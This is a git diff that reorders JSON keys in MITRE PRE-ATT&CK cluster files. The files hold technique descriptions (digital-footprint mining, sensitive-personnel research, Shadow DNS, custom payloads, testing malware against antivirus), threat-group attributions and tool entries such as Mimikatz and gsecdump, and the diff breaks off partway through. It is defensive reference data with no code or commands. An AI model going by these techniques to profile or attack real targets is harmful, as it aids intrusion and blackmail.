"description": "In addition to a target's social media presence may exist a larger digital footprint, such as accounts and credentials on e-commerce sites or usernames and logins for email. An adversary familiar with a target's username can mine to determine the target's larger digital footprint via publicly available sources. (Citation: DigitalFootprint) (Citation: trendmicro-vtech)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Information readily available through searches",
- "value": "Aggregate individual's digital footprint - PRE-T1052",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1052"
- ],
"external_id": "PRE-T1052",
"kill_chain": [
"mitre-pre-attack:pre-attack:people-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1052"
]
},
- "uuid": "b3f36317-3940-4d71-968f-e11ac1bf6a31"
+ "uuid": "b3f36317-3940-4d71-968f-e11ac1bf6a31",
+ "value": "Aggregate individual's digital footprint - PRE-T1052"
},
{
"description": "An adversary may identify sensitive personnel information not typically posted on a social media site, such as address, marital status, financial history, and law enforcement infractions. This could be conducted by searching public records that are frequently available for free or at a low cost online. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This type of information is useful to understand the individual and their ability to be blackmailed. Searching public records is easy and most information can be purchased for a low cost if the adversary really wants it.",
- "value": "Identify sensitive personnel information - PRE-T1051",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1051"
- ],
"external_id": "PRE-T1051",
"kill_chain": [
"mitre-pre-attack:pre-attack:people-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1051"
]
},
- "uuid": "7dae871c-effc-444b-9962-4b7efefe7d40"
+ "uuid": "7dae871c-effc-444b-9962-4b7efefe7d40",
+ "value": "Identify sensitive personnel information - PRE-T1051"
},
{
"description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nThrough social engineering or other methods, an adversary can get users to perform physical actions that provide access to an adversary. This could include providing a password over the phone or inserting a 'found' CD or USB into a system. (Citation: AnonHBGary) (Citation: CSOInsideOutside)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Non-hypersensing environments do not typically collect this level of detailed information.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Ill-informed users insert devices into their network that they randomly find, despite training educating them why this is not a wise idea.",
- "value": "Human performs requested action of physical nature - PRE-T1162",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1162"
- ],
"external_id": "PRE-T1162",
"kill_chain": [
"mitre-pre-attack:pre-attack:compromise"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1162"
]
},
- "uuid": "fb39384c-00e4-414a-88af-e80c4904e0b8"
+ "uuid": "fb39384c-00e4-414a-88af-e80c4904e0b8",
+ "value": "Human performs requested action of physical nature - PRE-T1162"
},
{
"description": "During mergers, divestitures, or other period of change in joint infrastructure or business processes there may be an opportunity for exploitation. During this type of churn, unusual requests, or other non standard practices may not be as noticeable. (Citation: RossiMergers) (Citation: MeidlHealthMergers)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Most of this activity would target partners and business processes. Partners would not report. Difficult to tie this activity to a cyber attack.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Mapping joint infrastructure and business processes is difficult without insider knowledge or SIGINT capability. While a merger creates and opportunity to exploit potentially cumbersome or sloppy business processes, advance notice of a merger is difficult; merger information is typically close-hold until the deal is done.",
- "value": "Assess opportunities created by business deals - PRE-T1076",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1076"
- ],
"external_id": "PRE-T1076",
"kill_chain": [
"mitre-pre-attack:pre-attack:organizational-weakness-identification"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1076"
]
},
- "uuid": "e2aa077d-60c9-4de5-b015-a9c382877cd9"
+ "uuid": "e2aa077d-60c9-4de5-b015-a9c382877cd9",
+ "value": "Assess opportunities created by business deals - PRE-T1076"
},
{
"description": "The process of gathering domain account credentials in order to silently create subdomains pointed at malicious servers without tipping off the actual owner. (Citation: CiscoAngler) (Citation: ProofpointDomainShadowing)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: Detection of this technique requires individuals to monitor their domain registrant accounts routinely. In addition, defenders have had success with blacklisting sites or IP addresses, but an adversary can defeat this by rotating either the subdomains or the IP addresses associated with the campaign.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: To successfully conduct this attack, an adversary usually phishes the individual behind the domain registrant account, logs in with credentials, and creates a large amount of subdomains.",
- "value": "Shadow DNS - PRE-T1117",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1117"
- ],
"external_id": "PRE-T1117",
"kill_chain": [
"mitre-pre-attack:pre-attack:establish-&-maintain-infrastructure"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1117"
]
},
- "uuid": "3f157dee-74f0-41fc-801e-f837b8985b0a"
+ "uuid": "3f157dee-74f0-41fc-801e-f837b8985b0a",
+ "value": "Shadow DNS - PRE-T1117"
},
{
"description": "A payload is the part of the malware which performs a malicious action. The adversary may create custom payloads when none exist with the needed capability or when targeting a specific environment. (Citation: APT1)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: It is likely that an adversary will create and develop payloads on inaccessible or unknown networks for OPSEC reasons.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Specialized tools exist for research, development, and testing of virus/malware payloads.",
- "value": "Create custom payloads - PRE-T1122",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1122"
- ],
"external_id": "PRE-T1122",
"kill_chain": [
"mitre-pre-attack:pre-attack:build-capabilities"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1122"
]
},
- "uuid": "fddd81e9-dd3d-477e-9773-4fb8ae227234"
+ "uuid": "fddd81e9-dd3d-477e-9773-4fb8ae227234",
+ "value": "Create custom payloads - PRE-T1122"
},
{
"description": "Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: No technical means to detect an adversary collecting information about a target. Any detection would be based upon strong OPSEC policy implementation.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.",
- "value": "Conduct social engineering - PRE-T1045",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1045"
- ],
"external_id": "PRE-T1045",
"kill_chain": [
"mitre-pre-attack:pre-attack:people-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1045"
]
},
- "uuid": "af358cad-eb71-4e91-a752-236edc237dae"
+ "uuid": "af358cad-eb71-4e91-a752-236edc237dae",
+ "value": "Conduct social engineering - PRE-T1045"
},
{
"description": "Certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Acquiring a certificate for a domain name similar to one that is expected to be trusted may allow an adversary to trick a user in to trusting the domain (e.g., vvachovia instead of [https://www.wellsfargo.com/about/corporate/wachovia/ Wachovia] -- homoglyphs). (Citation: SubvertSSL) (Citation: PaypalScam)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Defender can monitor for domains similar to popular sites (possibly leverage [https://www.alexa.com Alexa] top ''N'' lists as starting point).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: SSL certificates are readily available at little to no cost.",
- "value": "SSL certificate acquisition for domain - PRE-T1114",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1114"
- ],
"external_id": "PRE-T1114",
"kill_chain": [
"mitre-pre-attack:pre-attack:establish-&-maintain-infrastructure"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1114"
]
},
- "uuid": "e34b9ca1-8778-41a3-bba5-8edaab4076dc"
+ "uuid": "e34b9ca1-8778-41a3-bba5-8edaab4076dc",
+ "value": "SSL certificate acquisition for domain - PRE-T1114"
},
{
"description": "An adversary can run their code on systems with cyber security protections, such as antivirus products, in place to see if their code is detected. They can also test their malware on freely available public services. (Citation: MalwareQAZirtest)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary controls the testing and can ensure data does not leak with proper OPSEC on testing.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary has the ability to procure products and not have reporting return to vendors or can choose to use freely available services",
- "value": "Test malware to evade detection - PRE-T1136",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1136"
- ],
"external_id": "PRE-T1136",
"kill_chain": [
"mitre-pre-attack:pre-attack:test-capabilities"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1136"
]
},
- "uuid": "8b57a8f1-9cbc-4b95-b162-cc2a1add94f2"
+ "uuid": "8b57a8f1-9cbc-4b95-b162-cc2a1add94f2",
+ "value": "Test malware to evade detection - PRE-T1136"
},
{
"description": "An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may use or modify existing exploits when those exploits are still relevant to the environment they are trying to compromise. (Citation: NYTStuxnet) (Citation: NationsBuying)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Several exploit repositories and tool suites exist for re-use and tailoring.",
- "value": "Build or acquire exploits - PRE-T1126",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1126"
- ],
"external_id": "PRE-T1126",
"kill_chain": [
"mitre-pre-attack:pre-attack:build-capabilities"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1126"
]
},
- "uuid": "4886e3c2-468b-4e26-b7e5-2031d995d13a"
+ "uuid": "4886e3c2-468b-4e26-b7e5-2031d995d13a",
+ "value": "Build or acquire exploits - PRE-T1126"
},
{
"description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nIf an adversary can gain physical access to the target's environment they can introduce a variety of devices that provide compromise mechanisms. This could include installing keyboard loggers, adding routing/wireless equipment, or connecting computing devices. (Citation: Credit Card Skimmers)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This varies depending on the amount of monitoring within the environment. Highly secure environments might have more innate monitoring and catch an adversary doing this more easily.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: This likely requires the adversary to have close or insider access to introduce the mechanism of compromise.",
- "value": "Unauthorized user introduces compromise delivery mechanism - PRE-T1164",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1164"
- ],
"external_id": "PRE-T1164",
"kill_chain": [
"mitre-pre-attack:pre-attack:compromise"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1164"
]
},
- "uuid": "b3253d9e-ba11-430f-b5a3-4db844ce5413"
+ "uuid": "b3253d9e-ba11-430f-b5a3-4db844ce5413",
+ "value": "Unauthorized user introduces compromise delivery mechanism - PRE-T1164"
},
{
"description": "Certain types of traffic (e.g., Twitter14, HTTP) are more commonly used than others. Utilizing more common protocols and software may make an adversary's traffic more difficult to distinguish from legitimate traffic. (Citation: symantecNITRO)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: High level of entropy in communications. High volume of communications makes it extremely hard for a defender to distinguish between legitimate and adversary communications.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to decipher or to make the communication less conspicuous.",
- "value": "Common, high volume protocols and software - PRE-T1098",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1098"
- ],
"external_id": "PRE-T1098",
"kill_chain": [
"mitre-pre-attack:pre-attack:adversary-opsec"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1098"
]
},
- "uuid": "0c592c79-29a7-4a94-81a4-c87eae3aead6"
+ "uuid": "0c592c79-29a7-4a94-81a4-c87eae3aead6",
+ "value": "Common, high volume protocols and software - PRE-T1098"
},
{
"description": "Certain types of traffic (e.g., DNS tunneling, header inject) allow for user-defined fields. These fields can then be used to hide data. In addition to hiding data in network protocols, steganography techniques can be used to hide data in images or other file formats. Detection can be difficult unless a particular signature is already known. (Citation: BotnetsDNSC2) (Citation: HAMMERTOSS2015) (Citation: DNS-Tunnel)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Unless defender is dissecting protocols or performing network signature analysis on any protocol deviations/patterns, this technique is largely undetected.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: This technique requires a more advanced protocol understanding and testing to insert covert communication into legitimate protocol fields.",
- "value": "Data Hiding - PRE-T1097",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1097"
- ],
"external_id": "PRE-T1097",
"kill_chain": [
"mitre-pre-attack:pre-attack:adversary-opsec"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1097"
]
},
- "uuid": "1ff8b824-5287-4583-ab6a-013bf36d4864"
+ "uuid": "1ff8b824-5287-4583-ab6a-013bf36d4864",
+ "value": "Data Hiding - PRE-T1097"
}
- ]
+ ],
+ "version": 3
}
diff --git a/clusters/mitre-pre-attack-intrusion-set.json b/clusters/mitre-pre-attack-intrusion-set.json
index e10bc32..379e7fb 100644
--- a/clusters/mitre-pre-attack-intrusion-set.json
+++ b/clusters/mitre-pre-attack-intrusion-set.json
@@ -1,33 +1,38 @@
{
- "name": "Pre Attack - intrusion Set",
- "type": "mitre-pre-attack-intrusion-set",
- "description": "Name of ATT&CK Group",
- "version": 3,
- "source": "https://github.com/mitre/cti",
- "uuid": "1fdc8fa2-1708-11e8-99a3-67b4efc13c4f",
"authors": [
"MITRE"
],
+ "description": "Name of ATT&CK Group",
+ "name": "Pre Attack - intrusion Set",
+ "source": "https://github.com/mitre/cti",
+ "type": "mitre-pre-attack-intrusion-set",
+ "uuid": "1fdc8fa2-1708-11e8-99a3-67b4efc13c4f",
"values": [
{
"description": "APT16 is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations. (Citation: FireEye EPS Awakens Part 2)",
- "value": "APT16 - G0023",
"meta": {
- "synonyms": [
- "APT16"
- ],
+ "external_id": "G0023",
"refs": [
"https://attack.mitre.org/wiki/Group/G0023",
"https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html"
],
- "external_id": "G0023"
+ "synonyms": [
+ "APT16"
+ ]
},
- "uuid": "d6e88e18-81e8-4709-82d8-973095da1e70"
+ "uuid": "d6e88e18-81e8-4709-82d8-973095da1e70",
+ "value": "APT16 - G0023"
},
{
"description": "APT28 is a threat group that has been attributed to the Russian government. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28) January 2017 (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee in April 2016. (Citation: Crowdstrike DNC June 2016)",
- "value": "APT28 - G0007",
"meta": {
+ "external_id": "G0007",
+ "refs": [
+ "https://attack.mitre.org/wiki/Group/G0007",
+ "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/",
+ "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf",
+ "https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign"
+ ],
"synonyms": [
"APT28",
"Sednit",
@@ -38,104 +43,99 @@
"Tsar Team",
"Threat Group-4127",
"TG-4127"
- ],
- "refs": [
- "https://attack.mitre.org/wiki/Group/G0007",
- "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/",
- "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf",
- "https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign"
- ],
- "external_id": "G0007"
+ ]
},
- "uuid": "bef4c620-0787-42a8-a96d-b7eb6e85917c"
+ "uuid": "bef4c620-0787-42a8-a96d-b7eb6e85917c",
+ "value": "APT28 - G0007"
},
{
"description": "Cleaver is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)",
- "value": "Cleaver - G0003",
"meta": {
- "synonyms": [
- "Cleaver",
- "TG-2889",
- "Threat Group 2889"
- ],
+ "external_id": "G0003",
"refs": [
"https://attack.mitre.org/wiki/Group/G0003",
"https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance%20Operation%20Cleaver%20Report.pdf",
"http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/"
],
- "external_id": "G0003"
+ "synonyms": [
+ "Cleaver",
+ "TG-2889",
+ "Threat Group 2889"
+ ]
},
- "uuid": "8f5e8dc7-739d-4f5e-a8a1-a66e004d7063"
+ "uuid": "8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
+ "value": "Cleaver - G0003"
},
{
"description": "APT12 is a threat group that has been attributed to China. (Citation: Meyers Numbered Panda)",
- "value": "APT12 - G0005",
"meta": {
+ "external_id": "G0005",
+ "refs": [
+ "https://attack.mitre.org/wiki/Group/G0005",
+ "http://www.crowdstrike.com/blog/whois-numbered-panda/"
+ ],
"synonyms": [
"APT12",
"IXESHE",
"DynCalc",
"Numbered Panda",
"DNSCALC"
- ],
- "refs": [
- "https://attack.mitre.org/wiki/Group/G0005",
- "http://www.crowdstrike.com/blog/whois-numbered-panda/"
- ],
- "external_id": "G0005"
+ ]
},
- "uuid": "c47f937f-1022-4f42-8525-e7a4779a14cb"
+ "uuid": "c47f937f-1022-4f42-8525-e7a4779a14cb",
+ "value": "APT12 - G0005"
},
{
"description": "APT1 is a Chinese threat group that has been attributed to the 2nd Bureau of the People’s Liberation Army (PLA) General Staff Department’s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. (Citation: Mandiant APT1)",
- "value": "APT1 - G0006",
"meta": {
+ "external_id": "G0006",
+ "refs": [
+ "https://attack.mitre.org/wiki/Group/G0006",
+ "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
+ ],
"synonyms": [
"APT1",
"Comment Crew",
"Comment Group",
"Comment Panda"
- ],
- "refs": [
- "https://attack.mitre.org/wiki/Group/G0006",
- "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
- ],
- "external_id": "G0006"
+ ]
},
- "uuid": "6a2e693f-24e5-451a-9f88-b36a108e5662"
+ "uuid": "6a2e693f-24e5-451a-9f88-b36a108e5662",
+ "value": "APT1 - G0006"
},
{
"description": "Night Dragon is a campaign name for activity involving threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon) The activity from this group is also known as Musical Chairs. (Citation: Arbor Musical Chairs Feb 2018)",
- "value": "Night Dragon - G0014",
"meta": {
- "synonyms": [
- "Night Dragon",
- "Musical Chairs"
- ],
+ "external_id": "G0014",
"refs": [
"https://attack.mitre.org/wiki/Group/G0014",
"https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee%20NightDragon%20wp%20draft%20to%20customersv1-1.pdf",
"https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/"
],
- "external_id": "G0014"
+ "synonyms": [
+ "Night Dragon",
+ "Musical Chairs"
+ ]
},
- "uuid": "23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8"
+ "uuid": "23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
+ "value": "Night Dragon - G0014"
},
{
"description": "APT17 is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. (Citation: FireEye APT17)",
- "value": "APT17 - G0025",
"meta": {
- "synonyms": [
- "APT17",
- "Deputy Dog"
- ],
+ "external_id": "G0025",
"refs": [
"https://attack.mitre.org/wiki/Group/G0025",
"https://www2.fireeye.com/rs/fireye/images/APT17%20Report.pdf"
],
- "external_id": "G0025"
+ "synonyms": [
+ "APT17",
+ "Deputy Dog"
+ ]
},
- "uuid": "090242d7-73fc-4738-af68-20162f7a5aae"
+ "uuid": "090242d7-73fc-4738-af68-20162f7a5aae",
+ "value": "APT17 - G0025"
}
- ]
+ ],
+ "version": 3
}
diff --git a/clusters/mitre-pre-attack-relationship.json b/clusters/mitre-pre-attack-relationship.json
index 560bddf..da91fd6 100644
--- a/clusters/mitre-pre-attack-relationship.json
+++ b/clusters/mitre-pre-attack-relationship.json
@@ -1,8 +1,12 @@
{
- "uuid": "1ffd3108-1708-11e8-9f98-67b378d9094c",
+ "authors": [
+ "MITRE"
+ ],
"description": "MITRE Relationship",
+ "name": "Pre Attack - Relationship",
"source": "https://github.com/mitre/cti",
- "version": 2,
+ "type": "mitre-pre-attack-relationship",
+ "uuid": "1ffd3108-1708-11e8-9f98-67b378d9094c",
"values": [
{
"meta": {
@@ -917,9 +921,5 @@
"value": "Conduct social engineering (PRE-T1056) related-to Conduct social engineering (PRE-T1045)"
}
],
- "authors": [
- "MITRE"
- ],
- "type": "mitre-pre-attack-relationship",
- "name": "Pre Attack - Relationship"
+ "version": 2
}
diff --git a/clusters/mitre-tool.json b/clusters/mitre-tool.json
index 1f28341..b89eab1 100644
--- a/clusters/mitre-tool.json
+++ b/clusters/mitre-tool.json
@@ -1,14 +1,15 @@
{
- "name": "Tool",
"authors": [
"MITRE"
],
- "type": "mitre-tool",
"description": "Name of ATT&CK software",
+ "name": "Tool",
"source": "https://github.com/mitre/cti",
- "version": 4,
+ "type": "mitre-tool",
+ "uuid": "d700dc5c-78f6-11e7-a476-5f748c8e4fe0",
"values": [
{
+ "description": "at is used to schedule tasks on a system to run at a specified date or time.[[Citation: TechNet At]]\n\nAliases: at, at.exe",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0110",
@@ -20,10 +21,10 @@
],
"uuid": "0c8465c0-d0b4-4670-992e-4eee8d7ff952"
},
- "value": "at",
- "description": "at is used to schedule tasks on a system to run at a specified date or time.[[Citation: TechNet At]]\n\nAliases: at, at.exe"
+ "value": "at"
},
{
+ "description": "route can be used to find or change information within the local system IP routing table.[[Citation: TechNet Route]]\n\nAliases: route, route.exe",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0103",
@@ -35,10 +36,10 @@
],
"uuid": "c11ac61d-50f4-444f-85d8-6f006067f0de"
},
- "value": "route",
- "description": "route can be used to find or change information within the local system IP routing table.[[Citation: TechNet Route]]\n\nAliases: route, route.exe"
+ "value": "route"
},
{
+ "description": "The Tasklist utility displays a list of applications and services with their Process IDs (PID) for all tasks running on either a local or a remote computer. It is packaged with Windows operating systems and can be executed from the command-line interface.[[Citation: Microsoft Tasklist]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0057",
@@ -46,10 +47,10 @@
],
"uuid": "2e45723a-31da-4a7e-aaa6-e01998a6788f"
},
- "value": "Tasklist",
- "description": "The Tasklist utility displays a list of applications and services with their Process IDs (PID) for all tasks running on either a local or a remote computer. It is packaged with Windows operating systems and can be executed from the command-line interface.[[Citation: Microsoft Tasklist]]"
+ "value": "Tasklist"
},
{
+ "description": "Windows Credential Editor is a password dumping tool.[[Citation: Amplia WCE]]\n\nAliases: Windows Credential Editor, WCE",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0005",
@@ -61,10 +62,10 @@
],
"uuid": "242f3da3-4425-4d11-8f5c-b842886da966"
},
- "value": "Windows Credential Editor",
- "description": "Windows Credential Editor is a password dumping tool.[[Citation: Amplia WCE]]\n\nAliases: Windows Credential Editor, WCE"
+ "value": "Windows Credential Editor"
},
{
+ "description": "schtasks is used to schedule execution of programs or scripts on a Windows system to run at a specific date and time.[[Citation: TechNet Schtasks]]\n\nAliases: schtasks, schtasks.exe",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0111",
@@ -76,10 +77,10 @@
],
"uuid": "c9703cd3-141c-43a0-a926-380082be5d04"
},
- "value": "schtasks",
- "description": "schtasks is used to schedule execution of programs or scripts on a Windows system to run at a specific date and time.[[Citation: TechNet Schtasks]]\n\nAliases: schtasks, schtasks.exe"
+ "value": "schtasks"
},
{
+ "description": "UACMe is an open source assessment tool that contains many methods for bypassing Windows User Account Control on multiple versions of the operating system.[[Citation: Github UACMe]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0116",
@@ -87,10 +88,10 @@
],
"uuid": "102c3898-85e0-43ee-ae28-62a0a3ed9507"
},
- "value": "UACMe",
- "description": "UACMe is an open source assessment tool that contains many methods for bypassing Windows User Account Control on multiple versions of the operating system.[[Citation: Github UACMe]]"
+ "value": "UACMe"
},
{
+ "description": "ifconfig is a Unix-based utility used to gather information about and interact with the TCP/IP settings on a system.[[Citation: Wikipedia Ifconfig]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0101",
@@ -98,10 +99,10 @@
],
"uuid": "362dc67f-4e85-4562-9dac-1b6b7f3ec4b5"
},
- "value": "ifconfig",
- "description": "ifconfig is a Unix-based utility used to gather information about and interact with the TCP/IP settings on a system.[[Citation: Wikipedia Ifconfig]]"
+ "value": "ifconfig"
},
{
+ "description": "Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks.[[Citation: Deply Mimikatz]][[Citation: Adsecurity Mimikatz Guide]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0002",
@@ -110,10 +111,10 @@
],
"uuid": "afc079f3-c0ea-4096-b75d-3f05338b7f60"
},
- "value": "Mimikatz",
- "description": "Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks.[[Citation: Deply Mimikatz]][[Citation: Adsecurity Mimikatz Guide]]"
+ "value": "Mimikatz"
},
{
+ "description": "xCmd is an open source tool that is similar to PsExec and allows the user to execute applications on remote systems.[[Citation: xCmd]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0123",
@@ -121,10 +122,10 @@
],
"uuid": "4fa49fc0-9162-4bdb-a37e-7aa3dcb6d38b"
},
- "value": "xCmd",
- "description": "xCmd is an open source tool that is similar to PsExec and allows the user to execute applications on remote systems.[[Citation: xCmd]]"
+ "value": "xCmd"
},
{
+ "description": "Systeminfo is a Windows utility that can be used to gather detailed information about a computer.[[Citation: TechNet Systeminfo]]\n\nAliases: systeminfo.exe, Systeminfo",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0096",
@@ -136,10 +137,10 @@
],
"uuid": "7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1"
},
- "value": "Systeminfo",
- "description": "Systeminfo is a Windows utility that can be used to gather detailed information about a computer.[[Citation: TechNet Systeminfo]]\n\nAliases: systeminfo.exe, Systeminfo"
+ "value": "Systeminfo"
},
{
+ "description": "netsh is a scripting utility used to interact with networking components on local or remote systems.[[Citation: TechNet Netsh]]\n\nAliases: netsh, netsh.exe",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0108",
@@ -151,10 +152,10 @@
],
"uuid": "5a63f900-5e7e-4928-a746-dd4558e1df71"
},
- "value": "netsh",
- "description": "netsh is a scripting utility used to interact with networking components on local or remote systems.[[Citation: TechNet Netsh]]\n\nAliases: netsh, netsh.exe"
+ "value": "netsh"
},
{
+ "description": "dsquery is a command-line utility that can be used to query Active Directory for information from a system within a domain.[[Citation: TechNet Dsquery]] It is typically installed only on Windows Server versions but can be installed on non-server variants through the Microsoft-provided Remote Server Administration Tools bundle.\n\nAliases: dsquery, dsquery.exe",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0105",
@@ -166,10 +167,10 @@
],
"uuid": "38952eac-cb1b-4a71-bad2-ee8223a1c8fe"
},
- "value": "dsquery",
- "description": "dsquery is a command-line utility that can be used to query Active Directory for information from a system within a domain.[[Citation: TechNet Dsquery]] It is typically installed only on Windows Server versions but can be installed on non-server variants through the Microsoft-provided Remote Server Administration Tools bundle.\n\nAliases: dsquery, dsquery.exe"
+ "value": "dsquery"
},
{
+ "description": "gsecdump is a publicly-available credential dumper used to obtain password hashes and LSA secrets from Windows operating systems.[[Citation: TrueSec Gsecdump]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0008",
@@ -177,10 +178,10 @@
],
"uuid": "b07c2c47-fefb-4d7c-a69e-6a3296171f54"
},
- "value": "gsecdump",
- "description": "gsecdump is a publicly-available credential dumper used to obtain password hashes and LSA secrets from Windows operating systems.[[Citation: TrueSec Gsecdump]]"
+ "value": "gsecdump"
},
{
